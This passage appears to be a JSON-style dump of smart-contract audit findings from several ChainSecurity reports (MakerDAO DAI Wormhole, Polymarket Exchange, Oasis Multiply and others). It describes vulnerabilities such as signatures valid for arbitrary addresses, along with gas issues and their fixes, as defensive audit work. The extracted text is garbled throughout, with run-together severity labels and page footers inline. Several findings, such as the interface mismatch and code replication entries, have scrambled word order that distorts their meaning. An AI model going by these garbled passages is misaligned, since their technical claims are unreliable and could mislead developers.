rewardsPerToken() returns the ratio of the rewards and the supply at a given epoch number. However, if the total supply is zero, rewardsPerEpoch is returned. USDFI - AMM, Gauges and Bribes - 24 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/usdfi-amm-gauges-bribes/"}, {"title": "7.1 Gas Optimizations", "body": " 1. In the _mint function, the update of totalSupply can be done in the unchecked block to save gas. The total supply of shares is bound to be <= total supply of DAI, which is bound to type(uin256).max. 2. The internal function _rpow always take RAY as base, replacing base by RAY in the code will save a bit of gas at runtime. ISSUEIDPREFIX-001 1. The update of totalSupply has been moved in the unchecked block. 2. The base parameter of the function _rpow has been removed, and replaced by RAY everywhere. Oazo Apps Limited - Savings Dai - 10 InformationalVersion1 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-savingsdai/"}, {"title": "8.1 Known Attack Vector on approve()", "body": " Users should be aware of the well known attack vector on approve() (front running changes to existing approvals, spending more tokens than intended by the owner). If needed, they should use the provided increaseAllowance() / decreaseAllowance() to mitigate this risk. Oazo Apps Limited - Savings Dai - 11 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-savingsdai/"}, {"title": "7.1 Fees May Block Slow Path", "body": " The slow path goes through L1DAIWormholeBridge.finalizeRegisterWormhole() which calls requestMint with maxFee = 0. When the vat is live, the computed fee in _withdraw function of WormholeJoin may be > 0 and the transaction would revert due to: require(fee <= maxFee, \"WormholeJoin/max-fee-exceed\"); This essentially prevents users who are censored by the oracle to redeem using the slow path. The only fee currently present, the WormholeConstantFee, now features a ttl after which the fee returned for this WormholeGUID is 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.2 L2 Addresses", "body": " MakerDAO - DAI Wormhole - 13 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignHighVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fThe address format can differ across L2 systems / different domains the DAI wormhole connects. While the majority work with address of 20 bytes, compatible with the solidity address type, other systems can use other address format. One example of those is StarkNet where addresses of are of type felt which are larger than 20 bytes. The receiver and operator fields of the WormholeGUID struct have been replaced by bytes32 types to accommodate for address formats up to 32 bytes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.3 Minting Pending DAI Incurs Additional Fees", "body": " Using the DAI Wormhole may take a fee from the user. This fee is taken on L1 and transferred to the VOW. The fee is accounted for inside _withdraw() and calculated using an external Fee adapter contract based on the wormholeGUID which contains all information about the transfer, the current debt and the line, the debt ceiling according to the source domain. The amount of the fee taken is calculated before determination of the amount that is withdrawn. uint256 fee = vatLive ? FeesLike(fees[wormholeGUID.sourceDomain]).getFees(wormholeGUID, line_, debt_) : 0; require(fee <= maxFee, \"WormholeJoin/max-fee-exceed\"); uint256 amtToTake = _min( pending, uint256(int256(line_) - debt_) ); The fee is based on the full amount of the wormholeGUID being processed, not on the actual amount withdrawn in this transaction. The actual amount withdrawn is limited by the maximum debt that can be created without exceeding the ceiling. The remaining amount can be retrieved later when more debt can be accrued using mintPending(). This however again uses function _withdraw which again calculates the fee based on the full amount of the wormholeGUID, the current debt and debt ceiling. The pending amount is not taken into account for the calculation of the fee. Hence, should the amount to be withdrawn be limited by the remaining space between the debt ceiling (line) and the current debt, the user pays fees based on the full amount, not the amount being withdrawn. Later, when the remaining pending amount is withdrawn, the user again pays fees based on the full amount of the wormholeGUID, effectively paying again for the same transfer. The fee computation function getFee takes more parameters (pending, amtToTake) into account. This allows more versatile ways to compute the fee. For example, WormholeConstantFee can now compute the fee relative to the amount being withdrawn instead of the full fee every time the full amount is partially withdrawn. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.4 Missing or Incomplete Natspec", "body": " requestMint, _mint and mintPending are missing the natspec for their second return value totalFee. MakerDAO - DAI Wormhole - 14 DesignMediumVersion1CodeCorrectedDesignLowVersion2CodeCorrected \fthe cure and getFee functions specification should specify the unit of its return value. the isValid function specification should describe the return value. the v, r and s parameters of BasicRelay.relay should be described in the specification The issues raised above have been addressed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.5 Specification Mismatch", "body": " The specification of the mintPending function says that it is only callable by the operator, but the receiver is also allowed to call the function. Specification changed: The description of the mintPending function has been fixed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.6 Code Inefficiency", "body": " signers mapping in WormholeOracleAuth is address => bool, it would be more gas efficient to have a address => uint256. in WormholeOracleAuth, threshold is passed as a function parameter in isValid. threshold is a storage variable in the contract and thus can be accessed directly from isValid function and does not need to be passed as a parameter, this would save gas. in _withdraw function of WormholeJoin, the overflow check for _line happens every time. Checking for overflow only once in the file function where the line for a domain is set would save gas. the signers mapping has been changed to a mapping(address => uint256). MakerDAO wants the isValid function to be used by anyone who wants to verify an oracle attestation. the file function checks for _line validity and the check has been removed from _mint (new version of _withdraw). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.7 Interface Mismatch", "body": " MakerDAO - DAI Wormhole - 15 CorrectnessLowVersion2Speci\ufb01cationChangedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The of signature is function approve(address, uint256) external returns(bool);, but WormholeJoin as and function approve(address, uint256) external; in the interface they define for TokenLike. L1DAIWormholeBridge approve token's have DAI the it Version 2: The interface signature of requestMint in WormholeRouter exposes only one return value out of two. The interface signature of requestMint in L1DAIWormholeBridge exposes no return value at all. The compiler will just drop the unused return values without causing an error, but this design choice does not reflect the correct signatures and should be documented. WormholeJoin and L1DAIWormholeBridge have the correct interface for the DAI token's approve function. The interface signature of requestMint() in WormholeRouter has been fixed in . L1DAIWormholeBridge is now called L1DAIWormholeGateway. The interface is now defined correctly in the imported WormholeInterface. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.8 Missing Index", "body": " domain fields are indexed in WormholeJoin events. It could be useful to index the domain field of WormholeRouter's File event to make it more easily searchable. targetDomain field in Flushed event of L2DAIWormholeBridge can be indexed to ease its search. the domain fields in the File events are indexed. the targetDomain field in the Flushed event is indexed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "7.9 file() Casting Bytes32 to Uint256", "body": " Contrary to the other contracts which have multiple file functions with the data parameter of the actual type of the data passed, the WormholeOracleAuth has a file function taking a bytes32 argument as data which is then casted to uint256. The file function responsible for the threshold parameter now takes directly a uint256 data to avoid an unnecessary conversion. MakerDAO - DAI Wormhole - 16 Version3DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "8.1 Breaking Changes of the Solidity Compiler", "body": " The new compiler version behaves differently on code related to integer conversion/negation when the value is exactly 2**255. The core DSS system which has been compiled with compiler version 0.6.12 first ensures that the value of the uint is below or equal to 2**255 before converting it to a (negative) integer. An example of this pattern can be found in e.g. GemJoin.exit(): require(wad <= 2 ** 255, \"GemJoin/overflow\"); vat.slip(ilk, msg.sender, -int(wad)); This project, DSS-Wormhole uses a more recent compiler version 0.8.9. Negating 2**255 is no longer possible and will result in the transaction reverting. In DSS-Wormhole, WormholeJoin.settle() features such a pattern: function settle(bytes32 sourceDomain, uint256 batchedDaiToFlush) external { require(batchedDaiToFlush <= 2 ** 255, \"WormholeJoin/overflow\"); daiJoin.join(address(this), batchedDaiToFlush); if (vat.live() == 1) { (, uint256 art) = vat.urns(ilk, address(this)); // rate == RAY => normalized debt == actual debt uint256 amtToPayBack = _min(batchedDaiToFlush, art); vat.frob(ilk, address(this), address(this), address(this), -int256(amtToPayBack), -int256(amtToPayBack)); Note that in this case the check is superflous: The multiplication in daiJoin.join() will revert due to an overflow on even lower values. Nevertheless it's important to be aware of this behavior, the same code pattern behaves differently depending on the compiler version. This requires careful attention especially when such contracts, which have been compiled with different compiler versions, e.g. DSS-Wormhole and the VAT interact. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "8.2 Finality and State Change on L2", "body": " The notion of finality of transactions and the resulting state change differs across the L2 solutions. The Wormhole system, especially the Maker Oracle Feeds must be aware of that and take each finality definition into account. Ideally this is properly assessed and documented for each Domain the Wormhole connects to. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "8.3 Slow Path Requires Zero Fee", "body": " The slow path successful redemption of the wormhole with no fee due to: through L1DAIWormholeBridge.finalizeRegisterWormhole() requires MakerDAO - DAI Wormhole - 17 NoteVersion1NoteVersion1NoteVersion1 \ffunction finalizeRegisterWormhole(WormholeGUID calldata wormhole) external onlyFromCrossDomainAccount(l2DAIWormholeBridge) { wormholeRouter.requestMint(wormhole, 0, 0); } The interface definition of WormholeFees emphasizes this: It should return 0 for wormholes that are being slow withdrawn. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "8.4 Surplus DAI for WormholeJoin in the VAT", "body": " Function settle() of the WormholeJoin contract is permissionless and given enough DAI token balance of the WormholeJoin contract (e.g., provided by the caller) can be executed by anyone. DaiJoin.join() returns the DAI tokens into the system and the contract's balance tracked by the DAI mapping of the VAT increases accordingly. This increased balance however is stuck when everything has been settled. Note that the sourceDomain can be chosen arbitrarily by the untrusted caller. Listeners of the event Settle must be aware that this event may be triggered by anyone and may not represent a debt repayment coming from the bridges. MakerDAO - DAI Wormhole - 18 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dai-wormhole/"}, {"title": "6.1 Unpermissioned Access to onlyMate Methods", "body": " CS-MRT-001 If the may role is assigned to address zero, methods guarded by the onlyMate modifier become unpermissioned. The purpose of this is unclear, as conflicting functionality can be accessed through onlyMate methods. A user could call push() to transfer the whole balance to the configured recipient, or push(1) to transfer a very low amount to the recipient and disable further push() access, since the to and psm variables are reset to zero after push() is called. Likewise, a user could call quit(), which transfers the DAI balance to the configured quitTo address. Since mutually exclusive functionality is accessible through the onlyMate modifier, leaving it unpermissioned opens the door to race conditions and unpredictable behavior. Only trusted parties should be granted access to onlyMate guarded methods. Similarly, but to a lesser extent, pick() and hook() are unpermissioned when address zero is granted the can role. MakerDAO realized output conduits should never be permissionless. The abilitiy to make the may and can roles unpermissioned has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-rwa-toolkit/"}, {"title": "6.2 Use of Unsafe Math Subject to Overflows", "body": " Since the contract uses version 0.6.12 of solidity, unchecked arithmetics are used by default. Methods expectedGemAmt() and requiredDaiWad() are subject to possible artihmetic overflows. if their wad or amt parameters are set large enough. Since no accounting state is held by the contract, but operations are performed on the current DAI balance, the overflows cannot be exploited, even by a malicious may user. However, external contracts CS-MRT-002 MakerDAO - RWA Toolkit - 10 CriticalHighMediumCodeCorrectedLowCodeCorrectedSecurityMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fand off-chain users relying on the correctness of expectedGemAmt() and requiredDaiWad() might be negatively affected. SafeMath like methods were introduced to ensure the calculations in expectedGemAmt() and requiredDaiWad() cannot overflow. MakerDAO - RWA Toolkit - 11 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-rwa-toolkit/"}, {"title": "5.1 Gas Savings Part 2", "body": " 0 0 0 3 Trading._fillFacingExchange now transfers the fee from the contract to the operator on every call. When multiple maker orders are processed, there is a fee transfer for every one of them. The fee could be sent after all orders have been processed instead. Acknowledged: The client acknowledges the possible gas savings and chooses to keep the code as-is. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "5.2 Accidental Token Transfers", "body": " Tokens that have been accidentally sent to the contract can not be recovered. Furthermore, if either the collateral token or one of the outcome tokens have been accidentally sent to the contract, the next executed taker order will receive these tokens due to the implementation of Trading._updateTakingWithSurplus. Risk accepted Polymarket states: Polymarket - Exchange - 10 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedRiskAcceptedCodePartiallyCorrectedDesignLowVersion2AcknowledgedDesignLowVersion1RiskAccepted \fRecovering tokens sent to the contract will require adding a permissioned ``withdrawTokens`` function, which introduces an unacceptably large trust assumption. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "5.3 Gas Savings", "body": " The following parts can be optimized for gas efficiency: The OrderStructs.OrderStatus struct occupies 2 words in storage. Decreasing the size of the remaining field by 1 byte could reduce the space requirement to 1 word. This fix has to be applied with caution using safe casts where appropriate. The field token in the Registry.OutcomeToken struct is redundant as a specific struct can only be accessed with that value. The call to validateTokenId(token) in Registry.validateComplement is redundant as the very same call is performed in the following call to getComplement. Trading._matchOrders and _fillMakerOrder redundantly compute the order hash again, after it has already been computed by _validateOrderAndCalcTaking. Trading._updateOrderStatus performs multiple redundant storage loads of status.remaining. Trading._updateTakingWithSurplus performs a redundant calculation in the return statement. Returning actualAmount yields the same result at this point. Assets.getCollateral(), Fees.getFeeReceiver(), Assets.getCtf(), Fees.getMaxFeeRate() are redundant since the variables they expose are public and already define equivalent accessors. Code partially corrected: OrderStructs.OrderStatus still occupies 2 storage slots. All other gas savings have been implemented sufficiently. Polymarket - Exchange - 11 DesignLowVersion1CodePartiallyCorrected \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 2 1 3 10 -Severity Findings Signatures Are Valid for Any Address ORDER_TYPEHASH Is Incorrect -Severity Findings Fee Rate Not Hashed -Severity Findings Fee Approval Required Unintended Order Types Possible Zero Address EOA Signer Considered Valid -Severity Findings FeeCharged Event Not Emitted in fillOrder OrderStruct.taker Specification Inconsistent Code Replication Domain Separator Cached Floating Pragma Non-optimized Libraries Used Order Status Possibly Incorrect Struct Order Has Redundant Fields Wrong Notice on Order.feeRateBps isCrossing Incorrect When takerAmount Is 0 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.1 Signatures Are Valid for Any Address", "body": " Signatures.isValidSignature checks the validity of a given order's signature. For signature types POLY_GNOSIS_SAFE and POLY_PROXY, the code makes sure that an order's maker address belongs to the same account that signed the order. This is not true for the signature type EOA. Any account can create a signature for an order that contains an arbitrary maker address. Since users give token approval to the protocol on order creation, malicious actors can generate orders for an account that already generated an order, but, for example, with a more favorable price. This order will then be executable although the account in question did not authorize it. Code corrected Polymarket - Exchange - 12 CriticalCodeCorrectedCodeCorrectedHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSecurityCriticalVersion1CodeCorrected \fSignatures.verifyEOASignature has been added, which additionally ensures Order.maker == Order.signer for EOAs. that the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.2 ORDER_TYPEHASH Is Incorrect", "body": " The ORDER_TYPEHASH in Hashing.hashOrder. It is used to calculate an EIP-712 compliant hash for an order which is then used to recover the signer of the given order. Since the typehash is incorrect, this mechanism will not work for correctly signed orders. in OrderStructs does not equal the actual encoded data Code correct OrderStructs.ORDER_TYPEHASH is now computed at compile time on the correct structure signature. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.3 Fee Rate Not Hashed", "body": " Hashing.hashOrder does not include the fee rate of an order into the hash. If the signatures are also generated this way and users do not recognize this, operators can always specify MAX_FEE_RATE_BIPS fees. Code correct Order hash computation now includes feeRateBps. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.4 Fee Approval Required", "body": " Fees are charged by transferring the respective amount of tokens from the receiving user's account to the fee receiver. The user has to give additional approval for the token they actually want to receive, which is counter-intuitive and also opens up additional security risks. Since the fee is always smaller than the amount of tokens sent to the user, this special behavior is not necessary as the fees could also be deducted from the amount sent to the user. Code correct Fees are deducted directly on the exchange, instead of being pulled from the order maker. Additionally, _fillOrder implicitly collects fees by transferring the taking amount minus the fee from the operator. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.5 Unintended Order Types Possible", "body": " Polymarket - Exchange - 13 CorrectnessCriticalVersion1CodeCorrectedDesignHighVersion1CodeCorrectedSecurityMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fTrading._matchOrders and _fillOrder miss sanity checks for combinations of makerAssetId, takerAssetId and side in the passed order structs. of in combinations Eight [ConditionalToken, in [ConditionalToken, Collateral] are possible, but only two of them should be allowed. This seems possible as the side seems redundant or colliding with the combinations (struct Order has redundant fields). takerAssetId Collateral], makerAssetId SELL], [BUY, side and in This allows for matching of orders that are not intended. For example, matching of a BUY order with maker asset YES and taker asset USDC to a SELL order with maker asset USDC and taker asset YES is perfectly possible as long as the YES price in these orders is over 1 USDC (otherwise, the fee calculation reverts). Code correct Unintended order types are no longer possible as fields makerAssetId and takerAssetId have been replaced by a single field tokenId. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.6 Zero Address EOA Signer Considered Valid", "body": " isValidSignature() returns true for signer equal to zero address, signatureType EOA and invalid signature. The check is performed at line 70 of Signature.sol, SilentECDSA.recover returns 0 on error. Setting the signer to zero address will incorrectly validate the signature. Code correct Signature verification now uses Openzeppelin's ECDSA.recover instead of SilentECDSA. Invalid signatures now revert instead of returning the 0-address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.7 FeeCharged Event Not Emitted in fillOrder", "body": " in _fillOrder, the fee is charged implicitly by deducting it from the amount that is transferred to the order maker but a FeeCharged event is not emitted. For consistency and to allow proper accounting based on events, FeeCharged should be emitted. The event is now emitted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.8 OrderStruct.taker Specification Inconsistent", "body": " Polymarket - Exchange - 14 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion2CodeCorrectedCorrectnessLowVersion2Speci\ufb01cationChanged \fThe taker field of the Order struct actually identifies the operator which can fill the order, not the taker that can be matched with the order as it seems to be intended from the natspec notice. Specification changed: The natspec of taker has been modified to reflect its actual usage. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.9 Code Replication", "body": " Trading._fillOrder same _validateOrderAndCalcTaking. For maintainability reasons, code replications should be avoided. contains present already code that the is in Code correct Duplicated refactored _performOrderChecks (renamed from _validateOrderAndCalcTaking). in Trading._fillOrder been code has into the function ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.10 Domain Separator Cached", "body": " Hashing exposes the domainSeparator with an implicit public getter for an immutable variable. When the chain id changes, for example due to a hardfork, the domainSeparator will not be correct on the new chain. The domainSeparator is now re-calculated in case of a change of the chain id. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.11 Floating Pragma", "body": " Exchange uses the floating pragma <0.9.0. Contracts should be deployed with the compiler version and flags that were used during testing and auditing. Locking the pragma helps to ensure that contracts are not accidentally deployed using a different compiler version and help ensure a reproducible deployment. Code correct Solidity version has been fixed to 0.8.15 in all instantiated contracts. Interfaces, libraries, and abstract contracts are left floating. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.12 Non-optimized Libraries Used", "body": " Polymarket - Exchange - 15 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f TransferHelper re-implements transfer functions while there already exists an optimized library (SafeTransferLib) implementing these functions in the dependencies of the project. Signatures uses SilentECDSA, a modified version of an outdated OpenZeppelin ECDSA version. The current version of this library could be used instead since it provides all required functionalities. TransferHelper now utilizes the optimized library for transfer functions. Signatures utilizes the OpenZepplin library. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.13 Order Status Possibly Incorrect", "body": " Trading.getOrderStatus returns an OrderStatus struct containing a variable isCompleted for any order hash. As the protocol has two distinct mechanisms of invalidating orders, this function might return that an order is still not completed, while in fact it has been invalidated by a nonce increase. The field isCompleted has been renamed to isFilledOrCancelled which describes the behavior in an adequate way. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.14 Struct Order Has Redundant Fields", "body": " In struct Order, the fields side, makerAssetId, and takerAssetId coexist redundantly. If side is BUY, makerAssetId is implied to be 0. If side is SELL, takerAssetId is implied to be 0. a single AssetId field would therefore be sufficient to fully specify the order, or similarly side can be removed from the struct and be derived from makerAssetId and takerAssetId. Redundant input arguments increase code complexity and facilitate potential bugs. The fields makerAssetId and takerAssetId have been removed in favor of a new field tokenId. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.15 Wrong Notice on Order.feeRateBps", "body": " The notice of feeRateBps says: If BUY, the fee is levied on the incoming Collateral However, the fee is always charged in the takerAssetId, which is not necessarily the collateral. Specification changed: The Fee rate, in basis points, charged to the order maker, charged on proceeds. feeRateBps notice now for reads: Polymarket - Exchange - 16 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \f6.16 isCrossing Incorrect When takerAmount Is 0 In the event of a SELL-SELL matching, where tokens should be merged to provide collateral back to the sellers, CalculatorHelper.isCrossing returns true when at least one side's order has takerAmount == 0. In the case that the other side's order has a price greater than ONE, the matching is not crossing since no sufficient amount of collateral can ever be redeemed to cover price > ONE, however the isCrossing returns true. isCrossing now returns false in the mentioned cases. Polymarket - Exchange - 17 CorrectnessLowVersion1CodeCorrected \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polymarket-exchange/"}, {"title": "6.1 IERC20 Incompatible With Tether", "body": " USDT, one of the collaterals, is not fully ERC20 compliant, notably some features lack the mandatory return value to comply with the standard. In MultiplyProxyActions the interface IERC20 is used to interact with the token contracts. In the interface definition a return value is expected for e.g., the approve and the transfer functions. Hence the Solidity compiler generates bytecode that expects a return value and reverts if there is none. Risk accepted: Oazo Apps Limited replied: Oazo Apps Limited - Multiply - 11 DesignCorrectnessCriticalHighMediumRiskAcceptedLowAcknowledgedAcknowledgedAcknowledgedCodePartiallyCorrectedAcknowledgedRiskAcceptedCodePartiallyCorrectedAcknowledgedAcknowledgedRiskAcceptedAcknowledgedCodePartiallyCorrectedAcknowledgedRiskAcceptedDesignMediumVersion1RiskAccepted \fCurrently, Tether is not used as collateral in Maker Protocol. In case Tether is onboarded to Maker Protocol, the multiply feature will be disabled for it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.2 Flash Loan Preparation When Skipping", "body": " Flashloan In version two, flashloans can be skipped. However, some parameters for taking the flashloan are prepared even though they will remain unused. More specifically, the assets, amounts and modes arrays are set which increases gas cost of the actions skipping flashloans. That part of flashloan preparation could be moved to the new takeAFlashloan function which would also further reduce the size of the code. Acknowledged: Oazo Apps Limited replied: This is a minor gas inefficiency, will be fixed after MVP. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.3 Unnecessary Execution of Code", "body": " _getDrawDart() returns the change in debt needed in order to have access to the DAI amount specified in paramter wad. This function executes two external calls which could be omitted under certain conditions: In case the DAI amount needed is 0 the function the function could return 0 immediately In case enough DAI is available already, the call to Jug.drip() could be omitted. Note that with the new skip flashloan functionality the case that enough DAI is already available will happen frequently and hence the code should be optimized for it. Acknowledged: Oazo Apps Limited replied: This is a minor gas inefficiency, will be fixed after MVP. Oazo Apps Limited - Multiply - 12 DesignLowVersion2AcknowledgedDesignLowVersion2Acknowledged \f6.4 Approval for Full Balance Instead of Amount Transferred In MultiplyProxyActions._closeWithdrawDai() the exchange contract is approved to transfer the full token balance of the MultiplyProxyActions contract. The exchange contract however uses this approval only to transfer ink amount of collateral. Acknowledged: Oazo Apps Limited replied: Exchange contract is fully trusted by the multiply proxy actions contract. To the question why not a \"infinite\" (uint256(-1)) approval is given once for all executions to the exchange contract, Oazo Apps Limited responded: Infinite approval could cause unexpected implications, therefore it is skipped in the scope of the MVP; the only negative impact is gas inefficiency. Note: This issue was raised and discussed in Version 1 of the code reviewed where the skipFL functionality did not yet exist. After the introduction of the skipFL functionality access control to the swap functions of the Exchange contract has been removed, hence the trust model has changed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.5 Avoid Repeated Calls", "body": " In MultiplyProxyActions.joinDrawDebt(), IManager(manager).urns(cdpData.cdpId) is called twice in succession. Caching the address of the urn would be more efficient. IManager(manager).urns(cdpData.cdpId) for Additionally, called closeVaultExitCollateral() and closeVaultExitDai(). For both, in closeVaultExitGeneric() and the third call is in wipeAndFreeGem(). The second call is in _closeWithdrawCollateral() and _closeWithdrawDai() respectively. Similarly, the same holds for IManager(manager).vat(). times first call three the is is Moreover, IVat(vat).hope(DAIJOIN) is called on every increase action in the context of MultiplyProxyActions in the joinDrawDebt function. However, the opposite function nope is never called, meaning that DAIJOIN will always be able to modify the gem or DAI balance of MultiplyProxyActions. As this behaviour is required and the permission is never revoked, it could be called only once in the constructor to reduce the amount of needed gas. Code partially corrected: in joinDrawDebt() was optimized by caching The occurence to IManager(manager).urns(cdpData.cdpId) during the flow of closing and exiting have been reduced from three to two. For the last reported repeated call, IVat(vat).hope(DAIJOIN) the code remained unchanged. the value. The calls Acknowledged: Oazo Apps Limited replied for the unchanged sub-issues: Oazo Apps Limited - Multiply - 13 DesignLowVersion1AcknowledgedDesignLowVersion1CodePartiallyCorrectedAcknowledged \fThis is a minor gas inefficiency, will be fixed after MVP. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.6 Breaks for Collaterals With More Than 18", "body": " Decimals Function convertTo18 converts the amount into wad as follows: wad = amt.mul(10 ** (18 - IJoin(gemJoin).dec())); For tokens with more than 18 decimals, the subtraction results in an underflow. The subsequent exponentiation and multiplication likely overflow resulting in a random value returned. Risk accepted: Oazo Apps Limited replied: Such approach is consistent with the current Multi-Collateral DAI implementation and does not affect any existing collateral. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.7 Event Issues", "body": " There are several issues regarding events: 1. The callback function executeOperation in MultiplyProxyActions.sol contains the logic for using the flash loan. It emits the event FLData, logging how much was borrowed and how much is to be returned to Aave. It is emitted as follows: emit FLData(IERC20(DAI).balanceOf(address(this)),borrowedDaiAmount); While borrowedDaiAmount actually specifies the value that must be returned to Aave, the balance of the MultiplyProxyAction contract may not be the amount that was borrowed since the method increaseMultipleDepositDai may also increase the balance. 2. Event FLData in MultiplyProxyActions.sol indexes the amount borrowed and the amount to be returned. While in general indexing events is useful, there is no direct use of indexing this event and, thus, the cost of emitting this event could be reduced. 3. Event AssetSwap in Exchange.sol is unindexed. It could be helpful to index the assets associated with this event. 4. Event FeePaid in Exchange.sol does not log the beneficiary. This issue is related to issue feeRecepient of AddressRegistry and how it is resolved. If the receiver of the fee is not fixed for the contract, then logging the beneficiary could be useful since the beneficiary of the fee may change. Code partially corrected: Oazo Apps Limited - Multiply - 14 DesignLowVersion1RiskAcceptedDesignLowVersion1CodePartiallyCorrectedAcknowledged \f1. Corrected: The event does not emit the balance anymore. Now, the difference between the balance and depositDai is emitted. 2. Corrected: FLData is now unindexed. 3. Corrected: assetIn and assetOut are indexed. 4. Not corrected: FeePaid now logs the beneficiary. Since the feeBeneficiary is public and cannot be changed, it is not necessary to log the beneficary. Gas costs could be reduced. However, Oazo Apps Limited responded to that last point as follows: Such approach allows us to immediately find fee beneficiary for every future instance of exchange; it results in a minor gas inefficiency. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-multiply-smart-contracts/"}, {"title": "6.8 Repeated Identical Multiplications", "body": " Some multiplications are done repeatedly within the same functions. E.g., in _getDrawnDart(), wad.mul(RAY) is calculated three times. Avoiding repeated multiplications and calculating it only once and storing the result may be favorable. Acknowledged: Oazo Apps Limited replied The outcome of the proposed fix is negligible, however, it 